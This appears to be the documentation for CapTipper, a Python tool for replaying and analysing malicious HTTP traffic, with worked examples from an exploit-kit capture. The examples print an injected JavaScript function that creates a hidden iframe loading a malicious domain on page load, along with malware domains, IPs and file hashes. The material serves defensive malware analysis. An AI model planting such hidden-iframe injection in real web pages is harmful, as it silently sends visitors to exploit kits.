Welcome to CapTipper’s documentation!

Documentation is under construction

What is CapTipper?

CapTipper is a python tool to analyze, explore and revive HTTP malicious traffic. CapTipper sets up a web server that acts exactly as the server in the PCAP file, and contains internal tools, with a powerful interactive console, for analysis and inspection of the hosts, objects and conversations found.

The tool provides the security researcher with easy access to the files and the understanding of the network flow, and is useful when trying to research exploits, pre-conditions, versions, obfuscations, plugins and shellcodes.

CapTipper is released under the GPLv3 license and is copyrighted by Omri Herscovici. The source code is available on GitHub.

Contents:

Usage

Feeding CapTipper with a drive-by traffic capture (e.g of an exploit kit) displays the user with the requests URI’s that were sent and responses meta-data. The user can at this point browse to http://127.0.0.1/[URI] and receive the response back to the browser. In addition, an interactive shell is launched for deeper investigation using various commands such as: hosts, hexdump, info, ungzip, body, client, dump and more...

CapTipper is written in Python and requires Python 2.7 to function properly. CapTipper was tested on Windows, Linux & Mac and doesn’t require any installation; every prerequisites it might need is bundled into its project folder.

Basic Usage:

./CapTipper.py <PCAP_file> [arguments]

Arguments

CapTipper accepts command line arguments:

-h, --help Print this help message and exit
-p PORT, --port PORT
 Set web server port
-d FOLDER, --dump FOLDER
 Dump all files and exit
-s, --server-off
 Disable web server
-short, --short-url
 Display shortened URI paths
-r FOLDER, --report FOLDER
 Create JSON & HTML report
-g, --ungzip Automatically ungzip responses
-u, --update Update CapTipper to newest version
  • --ungzip Automatically ungzip all objects but web-server still responds with the original response.

Console

The Initialization of CapTipper outputs the conversations found between the client and the server in the following format:

[ID] : REQUEST URI -> SERVER RESPONSE TYPE (FILENAME) [SIZE IN BYTES] (Magic: $Whatype)

  • ID: An assigned Id to the specific conversation

  • REQUEST URI: The URI that was sent to the server in the GET request

  • SERVER RESPONSE TYPE: The content-type returned in the server response header

  • FILENAME: The filename can be a few things:

    1. Filename attribute given in the response header
    2. Derived from the URI
    3. Assigned by CapTipper if couldn’t find any of the above
  • SIZE IN BYTES: Response body size

  • MAGIC: The file format as identified by the Whatype library

After Initialization, 2 things occur:

  1. CapTipper creates a pseudo-web server that behaves like the web server in the pcap
  2. An Interpreter is launched

The interpreter contains internal tools for further investigation of the objects in the PCAP file.

Opening a URI in the browser is simply by typing open along with the object id. For more information on the web server, please see the Webserver chapter.

Following are details for all the currently available commands.

open

CapTipper launches a local Webserver imitating the web server(s) in the PCAP. The open command gets a given conversation and launches the default browser to go to that URL on the local webserver.

Example:

CT> open 0
Opening http://localhost:80/ in default browser
log

Every request to the local webserver is logged and can be viewed using the log command:

CT> log
[2015-07-08T16:25:18.815575] 127.0.0.1 : GET / HTTP/1.1
convs

convs will display all conversations in the form they were displayed when CapTipper was launched.

CT> convs
Conversations Found:

0:  /  -> text/html (0.html) [5.4 KB]  (Magic: GZ)
1:  /seedadmin17.html  -> text/html (seedadmin17.html) [354.0 B]  (Magic: HTML)
2:  /wp-includes/js/jquery/jquery.js?ver=1.7.2  -> application/javascript (jquery.js) [38.6 KB]  (Magic: GZ)
3:  /15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html  -> text/html (15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html) [110.5 KB]  (Magic: HTML)
4:  /wp-content/uploads/2014/01/MetroWest_COVER_Issue2_Feb2014.jpg  -> image/jpeg (MetroWest_COVER_Issue2_Feb2014.jpg) [341.8 KB]  (Magic: JPG)
5:  /images/footer/3000melbourne.png  -> image/png (3000melbourne.png) [2.9 KB]  (Magic: PNG)
6:  /images/footer/3207portmelbourne.png  -> image/png (3207portmelbourne.png) [3.0 KB]  (Magic: PNG)
7:  /wp-content/uploads/2012/09/background1.jpg  -> image/jpeg (background1.jpg) [32.3 KB]  (Magic: JPG)
8:  /00015d76d9b2rr9f/1415286120  -> application/octet-stream (00015d76.swf) [30.8 KB]  (Magic: SWF)
9:  /00015d766423rr9f/1415286120  -> application/pdf (XykpdWhZZ2.pdf) [9.7 KB]  (Magic: PDF)
10:  /00015d76rr9f/1415286120/5/x00809070554515d565b010b03510053535c0505;1;6  -> application/octet-stream (5.exe) [136.0 KB]  (Magic: EXE)
11:  /00015d76rr9f/1415286120/5/x00809070554515d565b010b03510053535c0505;1;6;1  -> application/octet-stream (5.exe) [136.0 KB]  (Magic: EXE)
12:  /00015d76rr9f/1415286120/7  -> application/octet-stream (7.exe) [136.0 KB]  (Magic: EXE)
13:  /00015d761709rr9f/1415286120  -> application/octet-stream (00015d76.swf) [7.9 KB]  (Magic: XAP)
14:  /00015d76rr9f/1415286120/8  -> application/octet-stream (8.exe) [136.0 KB]  (Magic: EXE)
hosts

The hosts command allows us to take a bird-eye-view on the hosts and URIs involved in the traffic.

CT> hosts
Found Hosts:

 www.magmedia.com.au (182.160.157.199:80)
 ├-- /   [0]
 ├-- /wp-includes/js/jquery/jquery.js?ver=1.7.2   [2]
 ├-- /wp-content/uploads/2014/01/MetroWest_COVER_Issue2_Feb2014.jpg   [4]
 ├-- /images/footer/3000melbourne.png   [5]
 ├-- /images/footer/3207portmelbourne.png   [6]
 └-- /wp-content/uploads/2012/09/background1.jpg   [7]


 pixeltouchstudios.tk (108.61.196.84:80)
 └-- /seedadmin17.html   [1]


 grannityrektonaver.co.vu (173.244.195.17:80)
 ├-- /15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html   [3]
 ├-- /00015d76d9b2rr9f/1415286120   [8]
 ├-- /00015d766423rr9f/1415286120   [9]
 ├-- /00015d76rr9f/1415286120/5/x00809070554515d565b010b03510053535c0505;1;6   [10]
 ├-- /00015d76rr9f/1415286120/5/x00809070554515d565b010b03510053535c0505;1;6;1   [11]
 ├-- /00015d76rr9f/1415286120/7   [12]
 ├-- /00015d761709rr9f/1415286120   [13]
 └-- /00015d76rr9f/1415286120/8   [14]
body

body gets the conversation id as an argument and outputs the response body. Following is its help message:

Displays the text representation of the body

Usage: body <conv_id> [size=256]

By default, body displays the first 256 bytes of the object, but it can accept a second argument which indicates the amount of bytes of the response body to display. it can also accept all as the second argument, which will return the entire body.

For example:

CT> body 1 128
Displaying body of object 1 (seedadmin17.html) [128 bytes]:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The doc
ungzip

Many times using the body command will result in an un-readable response due to use of the GZIP compression.

CT> body 0
Displaying body of object 0 (0.html) [256 bytes]:

▼     ♦♥─╜i{#╟ס╢√}~♣X╓t♥═"HJצg♀░→o½%Y▓╡ם║m┘CR║
@a!▒P ╪כ        ╬o?≈‼╣TJ≥£≈\g╞jó╢\"#cן╚πg ÷ry≤~5↔O6םµ╦Vπ├ףף h|╛*ך╞½σh≤6_§ם╧ק╖כa╛ש.↨iπ╦┼á▌רl67¥ππ╤z╘^«╞╟ ÷∞°▀F╖כב▐hלכ═╦σ≥zZ4≤╓▌¢|╒Φg├σαv^,6φב=h╧≤═`╥\¶o
←▀↨π╧▐▌4ףf»≤π╢█h%חy{U▄╠≥A╤<n₧_┤?Φ=█▐▌_4/Z↨τ↨ק↨↨↨╟↨ח?^╢מ╟irq±┴i

ungzip gets a conversation id as an argument and creates a new object with the ungzipped data of the object

CT> ungzip 0
 GZIP Decompression of object 0 (0.html) successful!
 New object created: 15

The new object created is added to the objects list and can be seen using the objects command:

CT> objects
Displaying Objects:

 ID   CID     TYPE          NAME
---- -----  -----------   --------
  0 | 0   | body        | 0.html
  1 | 1   | body        | seedadmin17.html
  2 | 2   | body        | jquery.js
  3 | 3   | body        | 15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html
  4 | 4   | body        | MetroWest_COVER_Issue2_Feb2014.jpg
  5 | 5   | body        | 3000melbourne.png
  6 | 6   | body        | 3207portmelbourne.png
  7 | 7   | body        | background1.jpg
  8 | 8   | body        | 00015d76.swf
  9 | 9   | body        | XykpdWhZZ2.pdf
 10 | 10  | body        | 5.exe
 11 | 11  | body        | 5.exe
 12 | 12  | body        | 7.exe
 13 | 13  | body        | 00015d76.swf
 14 | 14  | body        | 8.exe
 15 | 0   | ungzip      | ungzip-0.html     <---------- NEW UNGZIPPED OBJECT
req

req gets the conversation id as an argument and outputs the request data.

For example:

CT> req 0
Displaying request for object 0 (0.html) [633 bytes]:

GET / HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.google.com/url?url=http://www.magmedia.com.au/&rct=j&frm=1&q=&esrc=s&sa=U&ei=uItbVLWHHYGpyASK44CoCQ&ved=0CBUQFjAA&usg=AFQjCNHuIidJc6dJKT_wy-UruJtaHR9Mhg
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.magmedia.com.au
Connection: Keep-Alive
hexdump

The hexdump command displays the hexdump of a given conversation object. like the body command, it display the first 256 bytes of the objects but this can be changed by providing the second size argument.

Its help message:

Display hexdump of given object

Usage: hexdump <conv_id> [size=256]

For example:

CT> hexdump 12
Displaying hexdump of object 12 (7.exe) body [256 bytes]:

0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ..............
0010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......
0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0030   00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00    ................
0040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68    ........!..L.!Th
0050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F    is program canno
0060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20    t be run in DOS
0070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00    mode....$.......
0080   37 62 C4 DA 73 03 AA 89 73 03 AA 89 73 03 AA 89    7b..s...s...s...
0090   F0 1F A4 89 72 03 AA 89 3C 21 A3 89 76 03 AA 89    ....r...<!..v...
00A0   45 25 A7 89 72 03 AA 89 52 69 63 68 73 03 AA 89    E%..r...Richs...
00B0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00C0   00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00    ........PE..L...
00D0   51 5C 5A 54 00 00 00 00 00 00 00 00 E0 00 0F 01    Q\ZT............
00E0   0B 01 06 00 00 C0 01 00 00 70 00 00 00 00 00 00    .........p......
00F0   14 13 00 00 00 10 00 00 00 D0 01 00 00 00 40 00    ..............@.
peinfo

The peinfo displays interesting and suspicious information regarding a binary file, based on the Malware Cookbook PE scanner.

It also supports using the -p argument to identify packers from the PEiD signature database. Help message:

Display PE info of the file

Usage: peinfo <obj_id> [-p]

OPTIONS:
     -p     -   Check for packers

For example:

CT> peinfo 12
Displaying PE info of object 12 (7.exe) [139264 bytes]:

Meta-data
================================================================================
Size:    139264 bytes
MD5:     67291715c45c4594b8866e90fbf5c7c4
SHA1:    a86dcb1d04be68a9f2d2373ee55cbe15fd299452
Date:    0x545A5C51 [Wed Nov  5 17:20:17 2014 UTC]
EP:      0x401314 .text 0/3
CRC:     Claimed: 0x24dec, Actual: 0x2621d [SUSPICIOUS]

Resource entries
================================================================================
Name               RVA      Size     Lang         Sublang                  Type
--------------------------------------------------------------------------------
RT_ICON            0x22980  0xea8    LANG_NEUTRAL SUBLANG_NEUTRAL
RT_ICON            0x218d8  0x10a8   LANG_NEUTRAL SUBLANG_NEUTRAL
RT_ICON            0x21470  0x468    LANG_NEUTRAL SUBLANG_NEUTRAL
RT_ICON            0x21108  0x368    LANG_NEUTRAL SUBLANG_NEUTRAL
RT_ICON            0x20460  0xca8    LANG_NEUTRAL SUBLANG_NEUTRAL
RT_GROUP_ICON      0x20414  0x4c     LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION         0x201b0  0x264    LANG_ENGLISH SUBLANG_ENGLISH_US

Sections
================================================================================
Name       VirtAddr     VirtSize     RawSize      Entropy
--------------------------------------------------------------------------------
.text      0x1000       0x1b5d8      0x1c000      6.635876
.data      0x1d000      0x2128       0x1000       0.000000
.rsrc      0x20000      0x3828       0x4000       4.580442

Version info
================================================================================
Translation: 0x0409 0x04b0
InternalName: ProV
FileVersion: 3.07
CompanyName: VSO Software
Comments: All rights reserved
ProductName: Filmf\xf6rderanstalten
ProductVersion: 3.07
OriginalFilename: ProV.exe
info

info will display metadata related to a given conversation, such as:

  • Server IP and PORT
  • Packet sent time
  • Host
  • URI
  • Referrer
  • Request Method
  • Result number
  • Result content type
  • File name
  • File type as identified by Whatype
  • Response size

Help message:

CT> help info

Display info on object

Usage: info <conv_id>

For example:

CT> info 1
Info of conversation 1:

 SERVER IP   : 108.61.196.84:80
 TIME        : Thu, 11/06/14 15:02:38
 HOST        : pixeltouchstudios.tk
 URI         : /seedadmin17.html
 REFERER     : http://www.magmedia.com.au/
 METHOD      : GET
 RESULT NUM  : 302 Found
 RESULT TYPE : text/html
 FILE NAME   : seedadmin17.html
 MAGIC       : HyperText Markup Language (HTML)
 LENGTH      : 354 B
plugin

CapTipper supports external plugins. Extensive information regarding the plugin infrastructure can be found in the Plugins chapter.

The plugin command allows the user to use plugins that are stored in the plugins\ folder. Its help message:

CT> help plugin
Launching an external plugin (alias: p)

usage: plugin <plugin_name / plugin_id> [-l] <*args>
     -l      - List all available plugins

examples:
     plugin find_scripts
     plugin 1
     p find_scripts

List all available plugins:

CT> plugin -l
Loaded Plugins (3):
 0 : check_host - Checks if a given id's host is alive
 1 : find_scripts - Finds external scripts included in the object body
 2 : print_body - Prints the body of a conversation and ungzip if needed
  • The plugin command can be also used by its alias p.

Each plugin is assigned with a unique ID, so the use of the plugin can be done either by its name or by its ID.

For example, we can use the check_host plugin who has the id 0 assigned to it. This plugin receives a conversation id as an argument and checks if the domain hosting the conversation URL is alive. Let’s use the plugin with conversation 12:

CT> p 0 12
Checking host grannityrektonaver.co.vu
IP:PORT = 173.244.195.17:80
[-] Server is dead
dump

The dump command write to disk a given object id or all files found in the PCAP.

Its help message:

Dumps the object file to a given folder

Usage: dump <conv_id> <path> [-e]

Options:
   -e       - ignores executables

Examples:

dump 4 c:\files\index.html
            Dumps object 4 to given path

dump all c:\files
             Dumps all files to folder by their found name

dump all c:\files -e
             Dumps all files to folder by their found name, without EXE files
objects

The objects command display the objects list described in the Core chapter.

CT> objects
Displaying Objects:

 ID   CID     TYPE          NAME
---- -----  -----------   --------
  0 | 0   | body        | 0.html
  1 | 1   | body        | seedadmin17.html
  2 | 2   | body        | jquery.js
  3 | 3   | body        | 15c0b14drr9f_1_08282d03fb0251bbd75ff6dc6e317bd9.html
  4 | 4   | body        | MetroWest_COVER_Issue2_Feb2014.jpg
  5 | 5   | body        | 3000melbourne.png
  6 | 6   | body        | 3207portmelbourne.png
  7 | 7   | body        | background1.jpg
  8 | 8   | body        | 00015d76.swf
  9 | 9   | body        | XykpdWhZZ2.pdf
 10 | 10  | body        | 5.exe
 11 | 11  | body        | 5.exe
 12 | 12  | body        | 7.exe
 13 | 13  | body        | 00015d76.swf
 14 | 14  | body        | 8.exe
find

The find command searches for all occurrences of a given regex in a given conversation, or all conversations.

Its help message:

Search for a regular expression in all or specific object

Usage: find <obj_id / all> <pattern>


Output data is displayed as follows:

   ([Line number] , [Offset from begining of file]) : [Found string]

It is advised to start CapTipper with the -g flag in order to automatically ungzip all objects and make the search more efficient.

Example searching for the domain rabiorik in all objects:

CT> find all rabiorik
Searching 'rabiorik' in all objects:

 0.html [0]:
    (777,50587) : t(){create_frame("http://rabiorik.ru/wlkzkir.cgi?default")

 wlkzkir.cgi [7]:
    (8,256) : 22 (@RELEASE@) Server at rabiorik.ru Port 80</address></b

Following, and example searching create_frame in a specific object:

CT> find 0 create_frame
Searching 'create_frame' in object 0 (0.html):

 (777,50213) : xt/javascript'>function create_frame(a){var b=document.getEle
 (777,50566) : true}}function bdsls4t(){create_frame("http://rabiorik.ru/wlkz
slice

The command slice displays a specified range of bytes (substring) from an object.

Its help message:

Returns bytes from offset in given length

Usage: slice <obj_id> <offset> <len | 'eob'>

Following the previous use of find, we can examine the “create_frame” javascript function by requesting 256 bytes from its starting position. slice accepts the object-id (0), the offset start (50213) and the length (256):

CT> slice 0 50213 256
Displaying 256 of bytes from offset 50213 in object 0 (0.html):

create_frame(a){var b=document.getElementById('weqe');if(typeof(b)!='undefined'&&b!=null){}
else{var c=document.createElement('iframe');c.id="weqe";c.style.width="0px";c.style.height="0px";
c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setA

It also includes support for EOB (End Of Block) detection. This will tell slice to display code until the end of the current block we are looking at, whether it’s a class, a function or a statement (based on braces { }).

The eob argument is used instead of the length value, e.g:

CT> slice 0 50213 eob
Displaying 334 of bytes from offset 50213 in object 0 (0.html):

create_frame(a){var b=document.getElementById('weqe');if(typeof(b)!='undefined'&&b!=null){}
else{var c=document.createElement('iframe');c.id="weqe";c.style.width="0px";c.style.height="0px";
c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0");
document.body.appendChild(c);c.src=a;return true}}

If we want to be able to read the code more conveniently, we can use the jsbeautify command.

jsbeautify

The jsbeautify (JavaScript Beautify) command reformats the code to be more human-readable, very useful for deep inspection.

Its help message:

Display JavaScript code after beautify

Usage: jsbeautify <obj / slice> <object_id> <offset> <length>

Example: jsbeautify slice <object_id> <offset> <len | eob>

Example: jsbeautify obj <object_id>

jsbeautify can accepts a conversation object and create a new one. (The new object can be dumped to the file system):

CT> jsbeautify obj 8
 JavaScript Beautify of object 8 (jquery.ui.effect.min.js) successful!
 New object created: 16

Like ungzip, The new object created can be seen using the objects.

jsbeautify can also accept the slice command seen in the previous section.

Example of the jsbeautify on the “create_frame” function in the javascript code, combined with the slice command.

CT> jsbeautify slice 0 50213 512
create_frame(a) {
    var b = document.getElementById('weqe');
    if (typeof(b) != 'undefined' && b != null) {} else {
        var c = document.createElement('iframe');
        c.id = "weqe";
        c.style.width = "0px";
        c.style.height = "0px";
        c.style.border = "0px";
        c.frameBorder = "0";
        c.style.display = "none";
        c.setAttribute("frameBorder", "0");
        document.body.appendChild(c);
        c.src = a;
        return true
    }
}
function bdsls4t() {
    create_frame("http://rabiorik.ru/wlkzkir.cgi?default")
}
try {
    if (window.attachEvent) {
        window.attachEvent('onload', bdsls4t)
    } else {
        if (window.onload) {
            var curronload = wi
vt

vt sends a given object ids MD5 to VirusTotal to see if it is recognized by any of the Anti-Virus providers.

The use of vt requires a VirusTotal Public API key.

For example:

CT> vt 14
 VirusTotal result for object 14 (8.exe):

 Detection: 46/57
 Last Analysis Date: 2015-04-09 12:37:31
 Report Link: https://www.virustotal.com/file/955e4e4a56bf80a30636b0c34673cdd6a889aff6569331a5336e1606e7c1050c/analysis/1428583051/

 Scan Result:
    MicroWorld-eScan        Trojan.GenericKD.1961906        12.0.250.0      20150409
    nProtect        Trojan.GenericKD.1961906        2015-04-09.02   20150409
    CAT-QuickHeal   TrojanPWS.Zbot.rw3      14.00   20150409
    McAfee  Generic.vd      6.0.5.614       20150409
    Malwarebytes    Trojan.Dorkbot.ED       1.75.0.1        20150409
    VIPRE   Trojan.Win32.Generic.pak!cobra  39190   20150409
    BitDefender     Trojan.GenericKD.1961906        7.2     20150409
    K7GW    Trojan ( 004b065c1 )    9.202.15539     20150409
    K7AntiVirus     Trojan ( 004b065c1 )    9.202.15538     20150409
    Agnitum Trojan.Injector!qCiqLIlbpUs     5.5.1.3 20150408
    F-Prot  W32/Injector.OA 4.7.1.166       20150409
    Symantec        Infostealer.Limitail    20141.2.0.56    20150409
    Norman  Injector.HKVF   7.04.04 20150409
    TotalDefense    Win32/Tofsee.CQVQOaC    37.0.11540      20150409
    TrendMicro-HouseCall    TROJ_SPNV.01KC14        9.700.0.1001    20150409
    Avast   Win32:VB-AIWF [Trj]     8.0.1489.320    20150409
    Kaspersky       Trojan.Win32.VB.ctmy    15.0.1.10       20150409
    NANO-Antivirus  Trojan.Win32.Spambot.dippmr     0.30.10.952     20150409
    ViRobot Trojan.Win32.R.Agent.139264[h]  2014.3.20.0     20150409
    Rising  PE:Malware.XPACK-HIE/Heur!1.9C48        25.0.0.17       20150409
    Ad-Aware        Trojan.GenericKD.1961906        12.0.163.0      20150409
    Emsisoft        Trojan.GenericKD.1961906 (B)    3.0.0.600       20150409
    Comodo  UnclassifiedMalware     21701   20150409
    F-Secure        Trojan.GenericKD.1961906        11.0.19100.45   20150409
    DrWeb   Trojan.Spambot.12689    7.0.12.3050     20150409
    Zillya  Trojan.VB.Win32.129714  2.0.0.2132      20150408
    TrendMicro      TROJ_SPNV.01KC14        9.740.0.1012    20150409
    McAfee-GW-Edition       BehavesLike.Win32.AAEH.ch       v2015   20150409
    Sophos  Mal/Generic-L   4.98.0  20150409
    Cyren   W32/Injector.CFDL-3956  5.4.16.7        20150409
    Avira   TR/Injector.139264.29   3.6.1.96        20150409
    Antiy-AVL       Trojan/Win32.SGeneric   1.0.0.1 20150409
    Microsoft       Backdoor:Win32/Tofsee.F 1.1.11502.0     20150409
    AhnLab-V3       Trojan/Win32.MDA        2015.04.09.00   20150408
    GData   Trojan.GenericKD.1961906        25      20150409
    ALYac   Trojan.GenericKD.1961906        1.0.1.4 20150409
    AVware  Trojan.Win32.Generic.pak!cobra  1.5.0.21        20150409
    Panda   Trj/WLT.B       4.6.4.2 20150408
    Zoner   Trojan.Tofsee.AX        1.0     20150407
    ESET-NOD32      Win32/Tofsee.AX 11448   20150409
    Tencent Trojan.Win32.Qudamah.Gen.17     1.0.0.1 20150409
    Ikarus  Trojan-Spy.Agent        T3.1.8.9.0      20150409
    Fortinet        W32/BOVZ!tr     5.0.999.0       20150409
    AVG     Inject2.BDIT    15.0.0.4328     20150409
    Baidu-International     Trojan.Win32.VB.ctmy    3.5.1.41473     20150409
    Qihoo-360       HEUR/QVM03.0.Malware.Gen        1.0.0.1015      20150409
iframes

The iframes command searches for iframe tags as part of the html source.

CT> iframes 2
Searching for iframes in object 2 (jquery.js)...
 1 iframe(s) Found!

 [I] 1 : http://pixeltouchstudios.tk/seedadmin17.html
client

Display all collected data on the client found in the PCAP.

CT> client

Client Info:

 IP               :  192.168.204.136
 MAC              :  00:0c:29:64:76:eb
 USER-AGENT       :  Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
 X-FLASH-VERSION  :  11,8,800,94
ziplist

The ziplist command receives an object id holding a ZIP file and display all files and folders stored inside it.

For example:

CT> ziplist 6
 12 Files found in zip object 6 (QrWusuR.jar):

 [Z] 1 : META-INF/
 [Z] 2 : META-INF/MANIFEST.MF
 [Z] 3 : bDNxrqYgNO.class
 [Z] 4 : dNMU.class
 [Z] 5 : dxQegSHi.class
 [Z] 6 : EzAD.class
 [Z] 7 : ICrWA.class
 [Z] 8 : lcaOISBn.class
 [Z] 9 : pmd.class
 [Z] 10 : thXEdm.class
 [Z] 11 : YWbTSCCIk.class
 [Z] 12 : eqx.ps
output

The output command logs all console commands and results to a file. This is done by overriding sys.stdout.

CT> output /Users/omriher/Temp/Nuclear-110615.txt
Logging to /Users/omriher/Temp/Nuclear-110615.txt

The logging only includes data from after using the output command. In order to stop logging use stop as the command argument.

CT> output stop
Stopped logging to /Users/omriher/Temp/Nuclear-110615.txt
strings

The strings command gets an object id and returns all strings found in that object.

For example:

CT> strings 14
Strings found in object 14 (8.exe) [139264 bytes]:
!This program cannot be run in DOS mode.
Richs
.text
`.data
.rsrc
MSVBVM60.DLL
Meistillustriertes
JGd:O
Kontrollmodus
Baustoffkartelle5
Kontrollmodus
Kanonenfeuerunterst
tzungen57
...
hashes

The hashes command shows all available hashes of a given object.

CT> hashes 14
 Hashes of object 14 (8.exe):

 md5       :   67291715c45c4594b8866e90fbf5c7c4
 sha1      :   a86dcb1d04be68a9f2d2373ee55cbe15fd299452
 sha224    :   6cc5585425cbb8b656ac4d12ce6331561df705787a0f8036b5f47eed
 sha256    :   955e4e4a56bf80a30636b0c34673cdd6a889aff6569331a5336e1606e7c1050c
 sha384    :   a207d38c964a0736adb86e74ea20ae5737afea9bfc87b7126ebb6d628432f6261dcef15cacf3b3bc14b072374dadf676
 sha512    :   703a9a69239ffe3bddf44fecf09136cb1e9872708d8e3d2d39f9904a4cc075d9e63d6b421bea8f1affeef855f8d9c5b903a517779777febaa84521824b4a07e1

Core

CapTipper is using a modified version of the pcap_parser library in order to parse the PCAP file. The core class implements most of the functions executed by the console and is in charge of creating and storing all of the PCAP information. There are three main datasets handled by CapTippers core:

  • Conversations
  • Objects
  • Hosts

Conversations

As part of the PCAP parsing process, a data structure CTCore.Conversations is being populated. A ‘Conversation’ is defined as Request and a Response. Conversations is a list of named tuples, each tuple consists of the following values:

  • id - Conversation ID
  • server_ip_port - Server ip and port in the form of IP:PORT
  • uri - Relative object on the host (e.g “/images/cat.jpg”)
  • req - Raw Request data
  • res_body - Response raw body
  • res_head - Response Header
  • res_num - HTTP response number (e.g “200 OK”)
  • res_type - HTTP response type (e.g “application/octet-stream”)
  • host - Server Host name
  • referer - Request referrer URL
  • filename - Response object name (e.g “cat.jpg”)
  • method - Rquest method (GET/POST/etc..)
  • redirect_to - The URL will be redirected to in case the location response header exists
  • req_microsec - Request microsec time
  • res_len - Response size
  • magic_name - File type as identified by Whatype (e.g “Windows executable file”)
  • magic_ext - File type extension as identified by Whatype (e.g “EXE”)

A conversation is added to the list during the parsing process upon parsing the response packet.

The function responsible for adding the conversation is finish_conversations(self) in CTCore.py. As part of the function, a reference to the Whatype library is called for file type identification.

The file name set for each conversation is created by this order:

  1. Filename given to the object from the server with “Content Disposition: filename=<file>”
  2. The final part of the URI (ignoring arguments)
  3. Number of object + ”.html”

When requesting to display the conversation using the command convs, a unique color is given to different conversations based on the type received in the responses content_type:

  • RED - PDF Files
  • BLUE - JavaScript Files
  • GREEN - Images
  • YELLOW - Generic binary files

Objects

Object is a much thinner representation of the conversations dataset, and contains only the following information:

  • id - Object ID
  • type - Object type [body / ungzip / jsbeautify] (default: ‘body’)
  • value - Object content
  • conv_id - Associated conversation id (alias: CID)
  • name - File name

All initial conversations are stored in the objects list with the string ‘body’ as type and value containing the the response data. id is unique to each object and objects that are also conversations have the same id. conv_id is a reference for objects that were created from conversations (e.g ungzip). name will be the filename that was given to the conversation; dynamically created objects will have a prefix of how they were created, for example in case of ungzip, the name will be “ungzip-[filename]”

Objects list example (using the command objects):

ID   CID     TYPE          NAME
---- -----  -----------   --------
  0 | 0   | body        | 0.html
  1 | 1   | body        | jquery.js
  2 | 2   | body        | logo.jpg
  3 | 3   | body        | kitty.png
  4 | 0   | ungzip      | ungzip-0.html

Hosts

The hosts data set is a dictionary with the key being a tuple of (host, ip) and the value for each key is a list of the domains URIs.

for example:

(
   ('www.example.com','93.184.216.34:80'),
     ['/   [0]',
     '/js/jquery.js?ver=1.7.3   [2]',
     '/images/logo.jpg   [4]',
     '/images/kitty.png   [5]']
)

Update

The update process checks for a version difference between the local project to the github repository. In case such a difference exists, it downloads the master branch and expands it to the local path and overwrites current .py files.

Plugins

CapTipper is also a framework who supports plugins as extensions for the console. If you have an idea for a plugin, you should implement it and send it to me or make a PULL request to the GitHub repository.

Getting Started

All plugin modules must be placed inside the plugins/ directory. The modules are loaded by CapTipper automatically when launched.

A CapTipper plugin must import the ConsolePlugin interface from CTPlugin, inherent and implement it. The class implementing the ConsolePlugin must have the same name as the .py file.

The run(self, args) function is the entry point CapTipper will use to launch the plugin.

Hello World example (my_first_plugin.py):

from CTPlugin import ConsolePlugin

class my_first_plugin(ConsolePlugin):

    author = "Omri Herscovici"
    description = "Prints Hello World"

    def run(self, args):
        print "Hello World"

The plugin result can be printed out using the command print, or returned from the run function.

Global Structurs

CapTipper hold 3 main data structures containing all information:

  1. Conversations
  2. Objects
  3. Hosts
  • See Core chapter for more information about the data sets.

All of which, are accessible from the plugin class using:

self.conversations
self.objects
self.hosts

Internal Functions

The ConsolePlugin interface contains important function that should be used when accessing relevant information:

  • get_name_by_id(obj_id) - Returns response object name (e.g “index.html”) of a given conversation id
  • get_body_by_id(obj_id) - Returns the raw response body of a given convesation
  • get_plaintext_body_by_id(obj_id) - Returns plaintext response body (e.g ungzipped in case needed)
  • is_valid_id(obj_id) - Checks if id sent to the plugin is a valid one

It is also easy to import other function from the CapTipper Core.

Let’s take a look at an example importing the ungzip function from CTCore:

from CTPlugin import ConsolePlugin
from CTCore import ungzip

class print_body(ConsolePlugin):

    description = "Prints the body of a conversation and ungzip if needed"
    author = "omriher"

    def run(self, args):
        id = int(args[0])
        if self.is_valid_id(id):
            if id < len(self.conversations) and self.conversations[id].magic_ext == "GZ":
                data, name = ungzip(id) # Ungzip imported from CTCore
            else:
                data = self.get_body_by_id(id)
        else:
            print "invalid id"

You can also see the use of the conversation internal variable magic_ext.

The best practice for getting the conversation body is by using the get_plaintext_body_by_id() function which will also ungzip the data if necessary.

Example #1

The following plugin imports the srcHTMLParser from CTCore, and searches external javascript referenced in a given conversation

from CTPlugin import ConsolePlugin
from CTCore import srcHTMLParser

class find_scripts(ConsolePlugin):

    description = "Finds external scripts included in the object body"
    author = "omriher"

    def run(self, args):
        if len(args) > 0:
            # Get the conversation ID
            id = int(args[0])

            # Checks if id is value
            if self.is_valid_id(id):

                # Gets conversation name
                name = self.get_name_by_id(id)
                print "[.] Searching for external scripts in object {} ({})...".format(str(id),name)

                # Get response body as text even in case it was Gzipped
                response_body = self.get_plaintext_body_by_id(id)

